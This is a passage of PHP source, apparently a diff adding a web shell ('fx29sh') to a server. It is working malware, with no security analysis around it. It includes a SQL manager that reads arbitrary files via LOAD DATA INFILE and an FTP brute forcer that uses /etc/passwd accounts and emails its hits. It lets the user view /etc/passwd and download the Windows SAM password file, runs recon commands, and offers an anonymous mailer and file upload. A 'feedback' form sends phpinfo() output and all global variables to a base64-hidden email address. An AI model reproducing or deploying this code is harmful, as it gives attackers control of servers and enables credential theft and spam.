+ + $trows += $row["Rows"]; + + $size = view_size($row["Data_length"]); + +?> + + <tr> + + <td><input type="checkbox" name="boxtbl[]" value="<?php echo $row["Name"]; ?>"></td> + + <td><a href="<?php echo $sql_surl; ?>sql_tbl=<?php echo urlencode($row["Name"]); ?>"><b><?php echo $row["Name"]; ?></b></a></td> + + <td><?php echo $row["Rows"]; ?></td><td><?php echo $row["Engine"]; ?></td><td><?php echo $row["Create_time"]; ?></td><td><?php echo $row["Update_time"]; ?></td><td><?php echo $size; ?></td> + + <td><a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DELETE FROM `".$row["Name"]."`"); ?>">Empty</a>&nbsp;<a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DROP TABLE `".$row["Name"]."`"); ?>">Drop</a>&nbsp;<a href="<?php echo $sql_surl; ?>sql_tbl_act=insert&sql_tbl=<?php echo $row["Name"]; ?>">Insert</a></td> + + </tr> + +<?php + + $i++; + + } + + echo "\t\t<tr>\n". + + "\t\t<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>\n"; + +?> + + </tr> + + </table> + + <div align="right"> + + <select name="sql_act"> + + <option value="">With selected:</option> + + <option value="tbldrop">Drop</option> + + <option value="tblempty">Empty</option>"; + + <option value="tbldump">Dump</option>"; + + <option value="tblcheck">Check table</option>"; + + <option value="tbloptimize">Optimize table</option>"; + + <option value="tblrepair">Repair table</option>"; + + <option value="tblanalyze">Analyze table</option>"; + + </select> + + <input type="submit" value="Confirm"> + + </div> + + </form> + +<?php + + mysql_free_result($result); + + } + + } + + } + + } + + } + + else { + + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + + if (in_array($sql_act,$acts)) { + +?> + + <table> + + <tr> + + <td><b>Create new DB:</b> + + <form action="<?php echo $surl; ?>"> + + <input type="hidden" name="act" value="sql"> + + <input type="hidden" name="sql_act" value="newdb"> + + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + + <input type="text" name="sql_newdb" size="20"> + + <input type="submit" value="Create"> + + </form> + + </td> + + <td><b>View File:</b> + + <form action="<?php echo $surl; ?>"> + + <input type="hidden" name="act" value="sql"> + + <input type="hidden" name="sql_act" value="getfile"> + + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + + <input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> + + <input type="submit" value="Get"> + + </form> + + </td> + + </tr> + + </table> + +<?php + + } + + + + ##[ SQL ACTIONS ]## + + if (!empty($sql_act)) { + + echo "<hr size=\"1\" noshade>"; + + if ($sql_act == "newdb") { + + echo "<b>"; + + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + + } + + if ($sql_act == "serverstatus") { + + $result = mysql_query("SHOW STATUS", $sql_sock); + + echo "<center><b>Server-status variables:</b><br><br>"; + + echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>"; + + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + + echo "</table></center>"; + + mysql_free_result($result); + + } + + if ($sql_act == "servervars") { + + $result = mysql_query("SHOW VARIABLES", $sql_sock); + + echo "<center><b>Server variables:</b><br><br>"; + + echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>"; + + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + + echo "</table>"; + + mysql_free_result($result); + + } + + if ($sql_act == "processes") { + + if (!empty($kill)) { + + $query = "KILL ".$kill.";"; + + $result = mysql_query($query, $sql_sock); + + echo "<b>Process #".$kill." was killed.</b>"; + + } + + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + + echo "<center><b>Processes:</b><br><br>"; + + echo "<table><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + + echo "</table>"; + + mysql_free_result($result); + + } + + if ($sql_act == "getfile") { + + $tmpdb = $sql_login."_tmpdb"; + + $select = mysql_select_db($tmpdb); + + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + + if ($select) { + + $created = FALSE; + + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + + $result = mysql_query("SELECT * FROM tmp_file;"); + + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + + else { + + for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); } + + $f = ""; + + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("\r\n",$row); } + + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + + mysql_free_result($result); + + mysql_query("DROP TABLE tmp_file;"); + + } + + } + + mysql_drop_db($tmpdb); + + } + + } + + } + + } + +?> + + </td> + + </tr> + +<?php + + if ($sql_sock) { + + $affected = @mysql_affected_rows($sql_sock); + + if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; } + + echo "\t<tr><th colspan=2>Affected rows: $affected</th></tr>"; + + } + +?> + + + +</table> + +<!-- End of SQL Manager --> + + + +<?php + + } + + if ($act == "ftpquickbrute") { + + echo "<table>\n"; + + echo "<tr><td class=\"barheader\" colspan=2>.: Ftp Quick Brute :.</td></tr>"; + + echo "<tr><td>"; + + if (!empty($submit)) { + + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + + $fp = fopen("/etc/passwd","r"); + + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + + else { + + if ($fqb_logging) { + + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + + else {$fqb_logfp = FALSE;} + + $fqb_log = "FTP Quick Brute (".sh_name().") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + + } + + @ob_flush(); + + $i = $success = 0; + + $ftpquick_st = getmicrotime(); + + while(!feof($fp)) { + + $str = explode(":",fgets($fp,2048)); + + if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + + $success++; + + ob_flush(); + + } + + if ($i > $fqb_lenght) {break;} + + $i++; + + } + + if ($success == 0) { echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n"; } + + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font class=on><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + + if ($fqb_logemail) {@mail($fqb_logemail,"".sh_name()." report",$fqb_log);} + + fclose($fqb_logfp); + + } + + } + + else { + + $logfile = $tmp_dir."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + + echo "<form name=\"f_ftpqb\" action=\"".$surl."\">\n". + + "<input type=hidden name=act value=\"ftpquickbrute\">\n". + + "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>". + + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>". + + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>". + + "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>". + + "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>". + + "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>"; + + } + + echo "</td></tr></table></center>"; + + } + + ##[ SECURITY ]## + + if ($act == "security") { + +?> + +<div class=barheader>.: Server Security Information :.</div> + + + +<table class="contents"> + + <tr><td>Open Base Dir</td><td><?php echo $hopenbasedir; ?></td></tr> + + <td>Password File</td><td> + +<?php + + if (!is_windows()) { + + if ($nixpasswd) { + + if ($nixpasswd == 1) { $nixpasswd = 0; } + + if (!is_numeric($nixpwd_s)) { $nixpwd_s = 0; } + + if (!is_numeric($nixpwd_e)) { $nixpwd_e = $nixpwdperpage; } + +?> + + *nix /etc/passwd:<br> + + <form name="f_pwd" action="<?php echo $surl; ?>"> + + <input type="hidden" name="act" value="security"> + + <input type="hidden" name="nixpasswd" value="1"> + + <b>From:</b> + + <input type="text" name="nixpwd_s" value="<?php echo $nixpwd_s; ?>"> + + <b>To:</b> + + <input type="text" name="nixpwd_e" value="<?php $nixpwd_e; ?>"> + + <input type="submit" value="View"> + + </form><br> + +<?php + + $i = $nixpwd_s; + + while ($i < $nixpwd_e) { + + $uid = posix_getpwuid($i); + + if ($uid) { + + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + + echo "\t\t".join(":",$uid)."<br>\n"; + + } + + $i++; + + } + + } + + else { echo "\t<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>View /etc/passwd</b></a>\n"; } + + } + + else { + + $v = $_SERVER["WINDIR"].'\repair\sam'; + + if (file_get_contents($v)) { + + echo "\t<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>\n"; + + } + + } + +?> + + </td></tr> + + <tr><td>Config Files</td><td> + +<?php + + if (!is_windows()) { + + $v = array( + + array("User Domains","/etc/userdomains"), + + array("Cpanel Config","/var/cpanel/accounting.log"), + + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + + array("Apache Config","/etc/httpd.conf"), + + array("Syslog Config","/etc/syslog.conf"), + + array("Message of The Day","/etc/motd"), + + array("Hosts","/etc/hosts") + + ); + + $sep = "/"; + + } + + else { + + $windir = $_SERVER["WINDIR"]; + + $etcdir = $windir.'\system32\drivers\etc\\'; + + $v = array( + + array("Hosts",$etcdir."hosts"), + + array("Local Network Map",$etcdir."networks"), + + array("LM Hosts",$etcdir."lmhosts.sam"), + + ); + + $sep = "\\"; + + } + + foreach ($v as $sec_arr) { + + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + + $sec_d = rtrim($sec_arr[1],$sec_f); + + $sec_full = $sec_d.$sec_f; + + $sec_d = rtrim($sec_d,$sep); + + if (file_get_contents($sec_full)) { + + echo "\t[ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ]\n"; + + } + + } + +?> + + </td></tr> + +<?php + + function dispsecinfo($name,$value) { + + if (!empty($value)) { + + echo "\t<tr><td>".$name."</td><td>\n". + + "<pre>".wordwrap($value,100)."</pre>\n". + + "\t</td></tr>\n"; + + } + + } + + + + if (!is_windows()) { + + dispsecinfo("OS Version",fx29exec("cat /proc/version")); + + dispsecinfo("Kernel Version",fx29exec("sysctl -a | grep version")); + + dispsecinfo("Distrib Name",fx29exec("cat /etc/issue.net")); + + dispsecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise")); + + dispsecinfo("CPU Info",fx29exec("cat /proc/cpuinfo")); + + dispsecinfo("RAM",fx29exec("free -m")); + + dispsecinfo("HDD Space",fx29exec("df -h")); + + dispsecinfo("List of Attributes",fx29exec("lsattr -a")); + + dispsecinfo("Mount Options",fx29exec("cat /etc/fstab")); + + dispsecinfo("lynx installed?",fx29exec("which lynx")); + + dispsecinfo("links installed?",fx29exec("which links")); + + dispsecinfo("GET installed?",fx29exec("which GET")); + + dispsecinfo("Where is Apache?",fx29exec("whereis apache")); + + dispsecinfo("Where is perl?",fx29exec("whereis perl")); + + dispsecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf")); + + dispsecinfo("Locate httpd.conf",fx29exec("locate httpd.conf")); + + dispsecinfo("Locate my.conf",fx29exec("locate my.conf")); + + dispsecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf")); + + } + + else { + + dispsecinfo("OS Version",fx29exec("ver")); + + dispsecinfo("Account Settings",fx29exec("net accounts")); + + dispsecinfo("User Accounts",fx29exec("net user")); + + } + + echo "</table>\n"; + + } + + + + ##[ MAKE FILE ]## + + if ($act == "mkfile") { + + if ($mkfile != $d) { + + if ($overwrite == 0) { + + if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); } + + } + + else { + + if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); } + + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) { + + $d .= DIRECTORY_SEPARATOR; + + } + + $f = basename($mkfile); + + } + + } + + } + + else { disp_error("Enter filename!"); } + + } + + + + ##[ ENCODER ]## + + if ($act == "encoder") { + + if (!isset($encoder_input)) { $encoder_input = ""; } + +?> + +<script language="javascript"> function set_encoder_input(text) { document.forms.encoder.input.value = text; }</script> + + + +<form name="encoder" action="<?php echo $surl; ?>" method=POST> + + <input type="hidden" name="act" value="encoder"> + + <table class="contents"> + + <tr><td colspan="4" class="barheader">.: Encoder :.</td></tr> + + <tr><td colspan="2">Input:</td><td><textarea name="encoder_input" id="input" cols="70" rows="5"><?php echo @htmlspecialchars($encoder_input); ?></textarea><br> + + <input type="submit" value="Calculate"> + + </td></tr> + + <tr><td rowspan="4">Hashes:</td> + +<?php + + foreach(array("md5","crypt","sha1","crc32") as $v) { + +?> + + <td><?php echo $v; ?>:</td><td><input type="text" size="50" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo $v($encoder_input); ?>" readonly> + + </td></tr> + + <tr> + +<?php + + } + +?> + + </tr> + + <tr><td rowspan=2>Url:</td> + + <td>urlencode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo urlencode($encoder_input); ?>" readonly> + + </td></tr> + + <tr><td>urldecode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo htmlspecialchars(urldecode($encoder_input)); ?>" readonly> + + </td></tr> + + <tr><td rowspan=2>Base64:</td> + + <td>base64_encode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo base64_encode($encoder_input); ?>" readonly> + + </td></tr> + + <tr><td>base64_decode:</td> + + <td> + +<?php + + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) { + +?> + + <input type="text" size="35" value="Failed!" disabled readonly> + +<?php + + } + + else { + + $debase64 = base64_decode($encoder_input); + + $debase64 = str_replace("\0","[0]",$debase64); + + $a = explode("\r\n",$debase64); + + $rows = count($a); + + $debase64 = htmlspecialchars($debase64); + + if ($rows == 1) { + + echo "\t\t<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; + + } + + else { + + $rows++; + + echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; + + } + + echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>\n"; + + } + + echo "\t\t</td></tr>\n". + + "\t\t<tr><td>Base convertations:</td><td>dec2hex</td><td>". + + "<input type=\"text\" size=\"35\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"\""; + + $c = strlen($encoder_input); + + for ($i=0;$i<$c;$i++) { + + $hex = dechex(ord($encoder_input[$i])); + + if ($encoder_input[$i] == "&") { echo $encoder_input[$i]; } + + elseif ($encoder_input[$i] != "\\") { echo "%".$hex; } + + } + + echo "\" readonly>\n"; + +?> + + </td></tr> + + </table> + +</form> + +<?php + + } + + + + ##[ FILESYSTEM BUFFER ]## + + if ($act == "fsbuff") { + + $arr_copy = $sess_data["copy"]; + + $arr_cut = $sess_data["cut"]; + + $arr = array_merge($arr_copy,$arr_cut); + + if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";} + + else { + + $fx_infohead = "File-System Buffer"; + + $ls_arr = $arr; + + $disp_fullpath = TRUE; + + $act = "ls"; + + } + + } + + + + ##[ SELF REMOVE ]## + + if ($act == "selfremove") { + +?> + +<div class="barheader"> + + .: SELF KILL :. + + <hr size="1" noshade> + + + +<?php + + if ((@$submit == @$rndcode) && (@$submit != "")) { + + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".sh_name()."!"; fx29shexit(); } + + else { disp_error("Can't delete ".__FILE__."!"); } + + } + + else { + + if (!empty($rndcode)) { disp_error("Error: Incorrect confirmation code!"); } + + $rnd = rand(0,9).rand(0,9).rand(0,9); + +?> + +<form name="f_killshell" action="<?php echo $surl; ?>"> + + <input type="hidden" name="act" value="selfremove"> + + <input type="hidden" name="rndcode" value="<?php echo $rnd; ?>"> + + Are you sure want to remove this shell ?<br> + + <?php disp_error(__FILE__); ?> + + <br>For confirmation, enter "<?php echo $rnd; ?>"<br> + + <input type="text" name="submit"><br> + + <input type="submit" value="KILL"> + +</form> + +</div> + +<?php + + } + + } + + + + ##[ FEEDBACK ]## + + if ($act == "feedback") { + + $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t"); + + if (!empty($submit)) { + + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + + $body = sh_name()." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + + if (!empty($fdbk_ref)) { + + $tmp = @ob_get_contents(); + + ob_clean(); + + phpinfo(); + + $phpinfo = base64_encode(ob_get_contents()); + + ob_clean(); + + echo $tmp; + + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + + } + + mail($suppmail,sh_name()." feedback #".$ticket,$body,"FROM: ".$suppmail); + + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + + } + + else { + +?> + +<div class="barheader">.: Feedback or report bug (<?php echo str_replace(array("@","."),array("[at]","[dot]"),$suppmail); ?>) :.</div> + + + +<form name="f_feedback" action="<?php echo $surl; ?>" method="POST"> + + <input type="hidden" name="act" value="feedback"> + + <table class="contents"> + + <tr><th>Your name:</th><td><input type="text" name="fdbk_name" value="<?php echo htmlspecialchars(@$fdbk_name); ?>"></td</tr> + + <tr><th>Your e-mail:</th><td><input type="text" name="fdbk_email" value="<?php echo htmlspecialchars(@$fdbk_email); ?>"></td></tr> + + <tr><th>Message:</th><td><textarea name="fdbk_body" cols=80 rows=10><?php echo htmlspecialchars(@$fdbk_body); ?></textarea> + + <input type="hidden" name="fdbk_ref" value="<?php echo urlencode($HTTP_REFERER); ?>"><br> + + <input type="checkbox" name="fdbk_servinf" value="1" checked> Attach Server info (Recommended for bug-fix)</td></tr> + + <tr><td></td><td><input type="submit" name="submit" value="Send"></td></tr> + + </table> + +</form> + +<?php + + } + + } + + + + ##[ PHP MAILER (By FaTaLisTiCz_Fx) ]## + + if ($act == "fxmailer") { + +?> + + <div class="barheader">.: Mailer :.</div> + +<?php + + if (!empty($submit)){ + + $headers = 'To: '.$dest_email."\n"; + + $headers .= 'From: '.$sender_name.' '.$sender_email."\n"; + + if (mail($dest_email,$sender_subj,$sender_body,$headers)) { + + echo "<center><b>Email sent to $dest_email!</b></center>"; + + } + + else { disp_error("Can't send email!"); } + + } + + else { + + ?> + +<form name="f_mailer" action="<?php echo $surl; ?>" method="POST"> + + <input type="hidden" name="act" value="fxmailer"> + + <table class="contents"> + + <tr><th>Your name:</th><td><input type="text" name="sender_name" value="<?php echo @htmlspecialchars($sender_name); ?>"></td></tr> + + <tr><th>Your e-mail:</th><td><input type="text" name="sender_email" value="<?php echo @htmlspecialchars($sender_email); ?>"></td></tr> + + <tr><th>To:</th><td><input type="text" name="dest_email" value="<?php @htmlspecialchars($dest_email); ?>"></td></tr> + + <tr><th>Subject:</th><td><input size="70" type="text" name="sender_subj" value="<?php echo @htmlspecialchars($sender_subj); ?>"></td></tr> + + <tr><th>Message:</th><td><textarea name="sender_body" cols="80" rows="10"><?php echo @htmlspecialchars($sender_body); ?></textarea></td></tr> + + <tr><th></th><td><input type="submit" name="submit" value="Send"></td></tr> + + </table> + +</form> + +<?php + + } + + } + + + + ##[ SEARCH ]## + + if ($act == "search") { + +?> + +<div class=barheader>.: Filesystem Search :.</div> + + + +<?php + + if (empty($search_in)) {$search_in = $d;} + + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + + if (!empty($submit)) { + + $found = array(); + + $found_d = 0; + + $found_f = 0; + + $search_i_f = 0; + + $search_i_d = 0; + + $a = array( + + "name" => @$search_name, + + "name_regexp" => @$search_name_regexp, + + "text" => @$search_text, + + "text_regexp" => @$search_text_regxp, + + "text_wwo" => @$search_text_wwo, + + "text_cs" => @$search_text_cs, + + "text_not" => @$search_text_not + + ); + + $searchtime = getmicrotime(); + + $in = array_unique(explode(";",$search_in)); + + foreach($in as $v) { fx29fsearch($v); } + + $searchtime = round(getmicrotime()-$searchtime,4); + + if (count($found) == 0) { echo "No files found!"; } + + else { + + $ls_arr = $found; + + $disp_fullpath = TRUE; + + $act = "ls"; + + } + + } + +?> + +<form name="f_search" method="POST"> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"> + + <input type="hidden" name="act" value="<?php echo $dspact; ?>"> + + <table class="contents"> + + <tr><th>File or folder Name:</th><td><input type="text" name="search_name" size="<?php echo round(strlen($search_name)+25); ?>" value="<?php echo htmlspecialchars($search_name); ?>"> <input type="checkbox" name="search_name_regexp" value="1" <?php echo (@$search_name_regexp == 1?" checked":""); ?>> Regular Expression</td></tr> + + <tr><th>Look in (Separate by ";"):</th><td><input type="text" name="search_in" size="<?php echo round(strlen($search_in)+25); ?>" value="<?php echo htmlspecialchars($search_in); ?>"></td></tr> + + <tr><th>A word or phrase in the file:</th><td><textarea name="search_text" cols="50" rows="5"><?php echo htmlspecialchars(@$search_text); ?></textarea></td></tr> + + <tr><th></th><td> + + <input type="checkbox" name="search_text_regexp" value="1" <?php echo (@$search_text_regexp == 1?" checked":""); ?>> Regular Expression + + <input type="checkbox" name="search_text_wwo" value="1" <?php echo (@$search_text_wwo == 1?" checked":""); ?>> Whole words only + + <input type="checkbox" name="search_text_cs" value="1" <?php echo (@$search_text_cs == 1?" checked":""); ?>> Case sensitive + + <input type="checkbox" name="search_text_not" value="1" <?php echo (@$search_text_not == 1?" checked":""); ?>> Find files NOT containing the text + + </td></tr> + + <tr><th></th><td><input type="submit" name="submit" value="Search"></td></tr> + + </table> + +</form> + +<?php + + if ($act == "ls") { + + $dspact = $act; + + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>\n". + + "<hr size=\"1\" noshade>\n"; + + } + + } + + + + ##[ CHMOD]## + + if ($act == "chmod") { + + $mode = fileperms($d.$f); + + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + + else { + + $form = TRUE; + + if ($chmod_submit) { + + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + + else {$err = "Can't chmod to ".$octet.".";} + + } + + if ($form) { + + $perms = parse_perms($mode); + + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b>\n". + + "<br>".($err?"<b>Error:</b> ".$err:"")."\n". + + "<form name=\"f_chmod\" action=\"".$surl."\" method=POST>\n". + + "<input type=hidden name=d value=\"".htmlspecialchars($d)."\">\n". + + "<input type=hidden name=f value=\"".htmlspecialchars($f)."\">\n". + + "<input type=hidden name=act value=chmod>\n". + + "<table><tr>\n". + + "<td><b>Owner</b><br><br>\n". + + "<input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br>\n". + + "<input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br>\n". + + "<input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."> eXecute</td>\n". + + "<td><b>Group</b><br><br>\n". + + "<input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br>\n". + + "<input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br>\n". + + "<input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."> eXecute</td>\n". + + "<td><b>World</b><br><br>\n". + + "<input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br>\n". + + "<input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br>\n". + + "<input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."> eXecute</td>\n". + + "</tr>\n". + + "<tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr>\n". + + "</table>\n". + + "</form>\n"; + + } + + } + + } + + + + ##[ UPLOAD ]## + + if ($act == "upload") { + + $uploadmess = ""; + + $uploadpath = (isset($uploadpath)) ? str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath) : $d; + + if (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) { $uploadpath .= DIRECTORY_SEPARATOR; } + + if (!empty($submit)) { + + $uploadfile = $_FILES["uploadfile"]; + + if (!empty($uploadfile["tmp_name"])) { + + if (empty($uploadfilename)) { $destin = $uploadfile["name"]; } + + else { $destin = $userfilename; } + + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + + $uploadmess .= "<div class=errmsg>Error uploading file ".$uploadfile["name"]." (Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!</div>"; + + } + + else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; } + + } + + else { $uploadmess .= "<div class=errmsg>No file to upload!</div>"; } + + } + + echo $uploadmess; + + $act = "ls"; + + } + + + + ##{ DELETE }## + + if ($act == "delete") { + + $delerr = ""; + + foreach ($actbox as $v) { + + $result = FALSE; + + $result = fs_rmobj($v); + + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; } + + } + + if (!empty($delerr)) { disp_error("Error deleting:<br>$delerr"); } + + $act = "ls"; + + } + + + + ##[ COPY ]## + + if ($act == "copy") { + + $err = ""; + + $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); + + fx29_sess_put($sess_data); + + $act = "ls"; + + } + + + + ##[ CUT ]## + + elseif ($act == "cut") { + + $sess_data["cut"] = array_merge($sess_data["cut"],$actbox); + + 